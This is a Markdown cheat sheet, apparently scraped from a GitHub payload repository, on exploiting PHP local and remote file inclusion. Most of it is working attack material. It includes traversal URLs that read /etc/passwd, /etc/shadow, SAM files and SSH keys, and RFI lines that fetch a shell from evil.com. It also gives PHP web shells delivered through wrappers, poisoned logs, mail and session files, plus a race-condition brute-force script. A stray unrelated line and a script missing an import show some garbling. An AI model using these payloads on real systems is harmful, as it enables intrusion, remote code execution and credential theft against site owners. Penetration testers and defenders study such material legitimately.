436 lines
15 KiB
Markdown
436 lines
15 KiB
Markdown
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# File Inclusion
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> The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application.
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> The Path Traversal vulnerability allows an attacker to access a file, usually exploiting a "reading" mechanism implemented in the target application
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## Summary
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* [Tools](#tools)
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* [Basic LFI](#basic-lfi)
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* [Null byte](#null-byte)
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* [Double encoding](#double-encoding)
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* [UTF-8 encoding](#utf-8-encoding)
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* [Path and dot truncation](#path-and-dot-truncation)
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* [Filter bypass tricks](#filter-bypass-tricks)
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* [Basic RFI](#basic-rfi)
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* [LFI / RFI using wrappers](#lfi--rfi-using-wrappers)
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* [Wrapper php://filter](#wrapper-phpfilter)
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* [Wrapper zip://](#wrapper-zip)
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* [Wrapper data://](#wrapper-data)
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* [Wrapper expect://](#wrapper-expect)
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* [Wrapper input://](#wrapper-input)
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* [Wrapper phar://](#wrapper-phar)
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* [LFI to RCE via /proc/*/fd](#lfi-to-rce-via-procfd)
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* [LFI to RCE via /proc/self/environ](#lfi-to-rce-via-procselfenviron)
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* [LFI to RCE via upload](#lfi-to-rce-via-upload)
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* [LFI to RCE via upload (race)](#lfi-to-rce-via-upload-race)
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* [LFI to RCE via phpinfo()](#lfi-to-rce-via-phpinfo)
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* [LFI to RCE via controlled log file](#lfi-to-rce-via-controlled-log-file)
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* [LFI to RCE via PHP sessions](#lfi-to-rce-via-php-sessions)
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* [LFI to RCE via credentials files](#lfi-o-rce-via-credentials-files)
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## Tools
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* [Kadimus - https://github.com/P0cL4bs/Kadimus](https://github.com/P0cL4bs/Kadimus)
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* [LFISuite - https://github.com/D35m0nd142/LFISuite](https://github.com/D35m0nd142/LFISuite)
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* [fimap - https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
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* [panoptic - https://github.com/lightos/Panoptic](https://github.com/lightos/Panoptic)
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## Basic LFI
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In the following examples we include the `/etc/passwd` file, check the `Directory & Path Traversal` chapter for more interesting files.
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```powershell
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http://example.com/index.php?page=../../../etc/passwd
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```
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### Null byte
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:warning: In versions of PHP below 5.3.4 we can terminate with null byte.
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```powershell
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http://example.com/index.php?page=../../../etc/passwd%00
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```
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### Double encoding
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```powershell
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http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
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http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
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```
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### UTF-8 encoding
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```powershell
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http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
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http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00
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```
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### Path and dot truncation
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On most PHP installations a filename longer than 4096 bytes will be cut off so any excess chars will be thrown away.
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```powershell
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http://example.com/index.php?page=../../../etc/passwd............[ADD MORE]
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http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE]
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http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE]
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http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd
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```
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### Filter bypass tricks
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```powershell
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http://example.com/index.php?page=....//....//etc/passwd
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http://example.com/index.php?page=..///////..////..//////etc/passwd
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http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
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```
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## Basic RFI
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Most of the filter bypasses from LFI section can be reused for RFI.
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```powershell
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http://example.com/index.php?page=http://evil.com/shell.txt
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```
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### Null byte
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```powershell
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http://example.com/index.php?page=http://evil.com/shell.txt%00
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```
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### Double encoding
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```powershell
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http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt
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```
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### Bypass allow_url_include
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When `allow_url_include` and `allow_url_fopen` are set to `Off`. It is still possible to include a remote file on Windows box using the `smb` protocol.
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1. Create a share open to everyone
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2. Write a PHP code inside a file : `shell.php`
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3. Include it `http://example.com/index.php?page=\\10.0.0.1\share\shell.php`
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## LFI / RFI using wrappers
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### Wrapper php://filter
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The part "php://filter" is case insensitive
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```powershell
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http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
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http://example.com/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php
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http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
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http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
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```
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can be chained with a compression wrapper for large files.
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```powershell
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http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
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```
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NOTE: Wrappers can be chained multiple times using `|` or `/`:
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- Multiple base64 decodes: `php://filter/convert.base64-decoder|convert.base64-decode|convert.base64-decode/resource=%s`
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- deflate then base64encode (useful for limited character exfil): `php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/index.php`
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```powershell
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./kadimus -u "http://example.com/index.php?page=vuln" -S -f "index.php%00" -O index.php --parameter page
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curl "http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php" | base64 -d > index.php
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```
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### Wrapper zip://
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```python
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echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
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zip payload.zip payload.php;
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mv payload.zip shell.jpg;
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rm payload.php
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http://example.com/index.php?page=zip://shell.jpg%23payload.php
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```
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### Wrapper data://
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```powershell
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http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
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NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
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```
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Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`
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### Wrapper expect://
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```powershell
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http://example.com/index.php?page=expect://id
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http://example.com/index.php?page=expect://ls
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```
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### Wrapper input://
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Specify your payload in the POST parameters, this can be done with a simple `curl` command.
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```powershell
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curl -X POST --data "<?php echo shell_exec('id'); ?>" "https://example.com/index.php?page=php://input%00" -k -v
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```
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Alternatively, Kadimus has a module to automate this attack.
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```powershell
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./kadimus -u "https://example.com/index.php?page=php://input%00" -C '<?php echo shell_exec("id"); ?>' -T input
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```
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### Wrapper phar://
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Create a phar file with a serialized object in its meta-data.
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```php
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// create new Phar
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$phar = new Phar('test.phar');
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$phar->startBuffering();
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$phar->addFromString('test.txt', 'text');
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$phar->setStub('<?php __HALT_COMPILER(); ? >');
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// add object of any class as meta data
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class AnyClass {}
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$object = new AnyClass;
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$object->data = 'rips';
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$phar->setMetadata($object);
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$phar->stopBuffering();
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```
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If a file operation is now performed on our existing Phar file via the phar:// wrapper, then its serialized meta data is unserialized. If this application has a class named AnyClass and it has the magic method __destruct() or __wakeup() defined, then those methods are automatically invoked
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```php
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class AnyClass {
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function __destruct() {
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echo $this->data;
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}
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}
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// output: rips
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include('phar://test.phar');
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```
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NOTE: The unserialize is triggered for the phar:// wrapper in any file operation, `file_exists` and many more.
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## LFI to RCE via /proc/*/fd
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1. Upload a lot of shells (for example : 100)
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2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be bruteforced) and $FD the filedescriptor (can be bruteforced too)
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## LFI to RCE via /proc/self/environ
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Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file
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```powershell
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GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
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User-Agent: <?=phpinfo(); ?>
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```
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## LFI to RCE via upload
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If you can upload a file, just inject the shell payload in it (e.g : `<?php system($_GET['c']); ?>` ).
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```powershell
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http://example.com/index.php?page=path/to/uploaded/file.png
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```
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In order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf
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## LFI to RCE via upload (race)
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Worlds Quitest Let's Play"
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* Upload a file and trigger a self-inclusion.
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* Repeat 1 a shitload of time to:
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* increase our odds of winning the race
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* increase our guessing odds
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* Bruteforce the inclusion of /tmp/[0-9a-zA-Z]{6}
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* Enjoy our shell.
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```python
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import itertools
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import requests
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import sys
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print('[+] Trying to win the race')
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f = {'file': open('shell.php', 'rb')}
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for _ in range(4096 * 4096):
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requests.post('http://target.com/index.php?c=index.php', f)
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print('[+] Bruteforcing the inclusion')
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for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
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url = 'http://target.com/index.php?c=/tmp/php' + fname
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r = requests.get(url)
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if 'load average' in r.text: # <?php echo system('uptime');
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print('[+] We have got a shell: ' + url)
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sys.exit(0)
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print('[x] Something went wrong, please try again')
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```
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## LFI to RCE via phpinfo()
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PHPinfo() displays the content of any variables such as **$_GET**, **$_POST** and **$_FILES**.
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> By making multiple upload posts to the PHPInfo script, and carefully controlling the reads, it is possible to retrieve the name of the temporary file and make a request to the LFI script specifying the temporary file name.
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Use the script phpInfoLFI.py (also available at https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
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Research from https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
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## LFI to RCE via controlled log file
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Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file.
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```powershell
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http://example.com/index.php?page=/var/log/apache/access.log
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http://example.com/index.php?page=/var/log/apache/error.log
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http://example.com/index.php?page=/var/log/apache2/access.log
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http://example.com/index.php?page=/var/log/apache2/error.log
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http://example.com/index.php?page=/var/log/nginx/access.log
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http://example.com/index.php?page=/var/log/nginx/error.log
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http://example.com/index.php?page=/var/log/vsftpd.log
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http://example.com/index.php?page=/var/log/sshd.log
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http://example.com/index.php?page=/var/log/mail
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http://example.com/index.php?page=/var/log/httpd/error_log
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http://example.com/index.php?page=/usr/local/apache/log/error_log
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http://example.com/index.php?page=/usr/local/apache2/log/error_log
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```
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### RCE via SSH
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Try to ssh into the box with a PHP code as username `<?php system($_GET["cmd"]);?>`.
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```powershell
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ssh <?php system($_GET["cmd"]);?>@10.10.10.10
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```
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Then include the SSH log files inside the Web Application.
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```powershell
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http://example.com/index.php?page=/var/log/auth.log&cmd=id
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```
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### RCE via Mail
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First send an email using the open SMTP then include the log file located at `http://example.com/index.php?page=/var/log/mail`.
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```powershell
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root@kali:~# telnet 10.10.10.10. 25
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Trying 10.10.10.10....
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Connected to 10.10.10.10..
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Escape character is '^]'.
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220 straylight ESMTP Postfix (Debian/GNU)
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helo ok
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250 straylight
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mail from: mail@example.com
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250 2.1.0 Ok
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rcpt to: root
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250 2.1.5 Ok
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data
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354 End data with <CR><LF>.<CR><LF>
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subject: <?php echo system($_GET["cmd"]); ?>
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data2
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.
|
||
|
|
```
|
||
|
|
|
||
|
|
In some cases you can also send the email with the `mail` command line.
|
||
|
|
|
||
|
|
```powershell
|
||
|
|
mail -s "<?php system($_GET['cmd']);?>" www-data@10.10.10.10. < /dev/null
|
||
|
|
```
|
||
|
|
|
||
|
|
### RCE via Apache logs
|
||
|
|
|
||
|
|
Poison the User-Agent in access logs:
|
||
|
|
|
||
|
|
```
|
||
|
|
$ curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>"
|
||
|
|
```
|
||
|
|
|
||
|
|
Note: The logs will escape double quotes so use single quotes for strings in the PHP payload.
|
||
|
|
|
||
|
|
Then request the logs via the LFI and execute your command.
|
||
|
|
|
||
|
|
```
|
||
|
|
$ curl http://example.org/test.php?page=/var/log/apache2/access.log&cmd=id
|
||
|
|
```
|
||
|
|
|
||
|
|
## LFI to RCE via PHP sessions
|
||
|
|
|
||
|
|
Check if the website use PHP Session (PHPSESSID)
|
||
|
|
|
||
|
|
```javascript
|
||
|
|
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||
|
|
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||
|
|
```
|
||
|
|
|
||
|
|
In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] or /var/lib/php/session/sess_[PHPSESSID] files
|
||
|
|
|
||
|
|
```javascript
|
||
|
|
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||
|
|
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||
|
|
```
|
||
|
|
|
||
|
|
Set the cookie to `<?php system('cat /etc/passwd');?>`
|
||
|
|
|
||
|
|
```powershell
|
||
|
|
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||
|
|
```
|
||
|
|
|
||
|
|
Use the LFI to include the PHP session file
|
||
|
|
|
||
|
|
```powershell
|
||
|
|
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27
|
||
|
|
```
|
||
|
|
|
||
|
|
## LFI to RCE via credentials files
|
||
|
|
|
||
|
|
This method require high privileges inside the application in order to read the sensitive files.
|
||
|
|
|
||
|
|
### Windows version
|
||
|
|
|
||
|
|
First extract `sam` and `system` files.
|
||
|
|
|
||
|
|
```powershell
|
||
|
|
http://example.com/index.php?page=../../../../../../WINDOWS/repair/sam
|
||
|
|
http://example.com/index.php?page=../../../../../../WINDOWS/repair/system
|
||
|
|
```
|
||
|
|
|
||
|
|
Then extract hashes from these files `samdump2 SYSTEM SAM > hashes.txt`, and crack them with `hashcat/john` or replay them using the Pass The Hash technique.
|
||
|
|
|
||
|
|
### Linux version
|
||
|
|
|
||
|
|
First extract `/etc/shadow` files.
|
||
|
|
|
||
|
|
```powershell
|
||
|
|
http://example.com/index.php?page=../../../../../../etc/shadow
|
||
|
|
```
|
||
|
|
|
||
|
|
Then crack the hashes inside in order to login via SSH on the machine.
|
||
|
|
|
||
|
|
Another way to gain SSH access to a Linux machine through LFI is by reading the private key file, id_rsa.
|
||
|
|
If SSH is active check which user is being used `/proc/self/status` and `/etc/passwd` and try to access `/<HOME>/.ssh/id_rsa`.
|
||
|
|
|
||
|
|
## References
|
||
|
|
|
||
|
|
* [OWASP LFI](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion)
|
||
|
|
* [HighOn.coffee LFI Cheat](https://highon.coffee/blog/lfi-cheat-sheet/)
|
||
|
|
* [Turning LFI to RFI](https://l.avala.mp/?p=241)
|
||
|
|
* [Is PHP vulnerable and under what conditions?](http://0x191unauthorized.blogspot.fr/2015/04/is-php-vulnerable-and-under-what.html)
|
||
|
|
* [Upgrade from LFI to RCE via PHP Sessions](https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/)
|
||
|
|
* [Local file inclusion tricks](http://devels-playground.blogspot.fr/2007/08/local-file-inclusion-tricks.html)
|
||
|
|
* [CVV #1: Local File Inclusion - SI9INT](https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a)
|
||
|
|
* [Exploiting Blind File Reads / Path Traversal Vulnerabilities on Microsoft Windows Operating Systems - @evisneffos](http://www.soffensive.com/2018/06/exploiting-blind-file-reads-path.html)
|
||
|
|
* [Baby^H Master PHP 2017 by @orangetw](https://github.com/orangetw/My-CTF-Web-Challenges#babyh-master-php-2017)
|
||
|
|
* [Чтение файлов => unserialize !](https://rdot.org/forum/showthread.php?t=4379)
|
||
|
|
* [New PHP Exploitation Technique - 14 Aug 2018 by Dr. Johannes Dahse](https://blog.ripstech.com/2018/new-php-exploitation-technique/)
|
||
|
|
* [It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It, Sam Thomas](https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf)
|
||
|
|
* [CVV #1: Local File Inclusion - @SI9INT - Jun 20, 2018](https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a)
|
||
|
|
* [Exploiting Remote File Inclusion (RFI) in PHP application and bypassing remote URL inclusion restriction](http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html?m=1)
|